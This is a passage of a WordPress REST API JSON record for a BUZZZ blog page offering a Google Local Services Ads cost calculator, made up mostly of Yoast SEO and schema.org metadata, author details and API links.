content\/uploads\/2025\/04\/Buzzz-White-1.png\",\"contentUrl\":\"https:\/\/buzzz.co\/blog\/wp-content\/uploads\/2025\/04\/Buzzz-White-1.png\",\"width\":436,\"height\":100,\"caption\":\"BUZZZ\"},\"image\":{\"@id\":\"https:\/\/buzzz.co\/blog\/#\/schema\/logo\/image\/\"},\"sameAs\":[\"https:\/\/www.facebook.com\/media.buzzz.co\",\"https:\/\/www.instagram.com\/media.buzzz.co\/\"]},{\"@type\":\"Person\",\"@id\":\"https:\/\/buzzz.co\/blog\/#\/schema\/person\/59f2d57de424b4666edd4192546acdca\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\/\/buzzz.co\/blog\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/secure.gravatar.com\/avatar\/a4bab34bd629210f01d8df29d7a5d8a559ecdbfe20ddd467e157dfee6f0a765b?s=96&d=mm&r=g\",\"contentUrl\":\"https:\/\/secure.gravatar.com\/avatar\/a4bab34bd629210f01d8df29d7a5d8a559ecdbfe20ddd467e157dfee6f0a765b?s=96&d=mm&r=g\",\"caption\":\"admin\"},\"sameAs\":[\"https:\/\/buzzz.co\/blog\"],\"url\":\"https:\/\/buzzz.co\/blog\/author\/admin_4gu0xhp5\/\"}]}<\/script>\n<!-- \/ Yoast SEO Premium plugin. -->","yoast_head_json":{"title":"Calculator - BUZZZ","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/buzzz.co\/blog\/calculator\/","og_locale":"en_US","og_type":"article","og_title":"Calculator","og_description":"BUZZZ &#8211; Google Local Services Ads Cost Calculator GLSA budget \u2022 leads \u2022 ROI planner Google Local Services Ads cost calculator Model your GLSA budget, CPL, CPC, clicks, leads, jobs and profit before you launch. Choose your state, industry and assumptions, then calculate. Reality check This is a planning model using market-based averages. Real GLSA [&hellip;]","og_url":"https:\/\/buzzz.co\/blog\/calculator\/","og_site_name":"BUZZZ","article_publisher":"https:\/\/www.facebook.com\/media.buzzz.co","article_published_time":"2026-05-22T08:38:22+00:00","author":"admin","twitter_card":"summary_large_image","twitter_misc":{"Written by":"admin","Est. reading time":"4 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/buzzz.co\/blog\/calculator\/#article","isPartOf":{"@id":"https:\/\/buzzz.co\/blog\/calculator\/"},"author":{"name":"admin","@id":"https:\/\/buzzz.co\/blog\/#\/schema\/person\/59f2d57de424b4666edd4192546acdca"},"headline":"Calculator","datePublished":"2026-05-22T08:38:22+00:00","mainEntityOfPage":{"@id":"https:\/\/buzzz.co\/blog\/calculator\/"},"wordCount":595,"commentCount":0,"publisher":{"@id":"https:\/\/buzzz.co\/blog\/#organization"},"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/buzzz.co\/blog\/calculator\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/buzzz.co\/blog\/calculator\/","url":"https:\/\/buzzz.co\/blog\/calculator\/","name":"Calculator - BUZZZ","isPartOf":{"@id":"https:\/\/buzzz.co\/blog\/#website"},"datePublished":"2026-05-22T08:38:22+00:00","breadcrumb":{"@id":"https:\/\/buzzz.co\/blog\/calculator\/#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/buzzz.co\/blog\/calculator\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/buzzz.co\/blog\/calculator\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/buzzz.co\/blog\/"},{"@type":"ListItem","position":2,"name":"Calculator"}]},{"@type":"WebSite","@id":"https:\/\/buzzz.co\/blog\/#website","url":"https:\/\/buzzz.co\/blog\/","name":"BUZZZ","description":"","publisher":{"@id":"https:\/\/buzzz.co\/blog\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/buzzz.co\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/buzzz.co\/blog\/#organization","name":"BUZZZ","url":"https:\/\/buzzz.co\/blog\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/buzzz.co\/blog\/#\/schema\/logo\/image\/","url":"https:\/\/buzzz.co\/blog\/wp-content\/uploads\/2025\/04\/Buzzz-White-1.png","contentUrl":"https:\/\/buzzz.co\/blog\/wp-content\/uploads\/2025\/04\/Buzzz-White-1.png","width":436,"height":100,"caption":"BUZZZ"},"image":{"@id":"https:\/\/buzzz.co\/blog\/#\/schema\/logo\/image\/"},"sameAs":["https:\/\/www.facebook.com\/media.buzzz.co","https:\/\/www.instagram.com\/media.buzzz.co\/"]},{"@type":"Person","@id":"https:\/\/buzzz.co\/blog\/#\/schema\/person\/59f2d57de424b4666edd4192546acdca","name":"admin","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/buzzz.co\/blog\/#\/schema\/person\/image\/","url":"https:\/\/secure.gravatar.com\/avatar\/a4bab34bd629210f01d8df29d7a5d8a559ecdbfe20ddd467e157dfee6f0a765b?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/a4bab34bd629210f01d8df29d7a5d8a559ecdbfe20ddd467e157dfee6f0a765b?s=96&d=mm&r=g","caption":"admin"},"sameAs":["https:\/\/buzzz.co\/blog"],"url":"https:\/\/buzzz.co\/blog\/author\/admin_4gu0xhp5\/"}]}},"_links":{"self":[{"href":"https:\/\/buzzz.co\/blog\/wp-json\/wp\/v2\/posts\/1887","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/buzzz.co\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/buzzz.co\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/buzzz.co\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/buzzz.co\/blog\/wp-json\/wp\/v2\/comments?post=1887"}],"version-history":[{"count":3,"href":"https:\/\/buzzz.co\/blog\/wp-json\/wp\/v2\/posts\/1887\/revisions"}],"predecessor-version":[{"id":2300,"href":"https:\/\/buzzz.co\/blog\/wp-json\/wp\/v2\/posts\/1887\/revisions\/2300"}],"wp:attachment":[{"href":"https:\/\/buzzz.co\/blog\/wp-json\/wp\/v2\/media?parent=1887"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/buzzz.co\/blog\/wp-json\/wp\/v2\/categories?post=1887"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/buzzz.co\/blog\/wp-json\/wp\/v2\/tags?post=1887"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}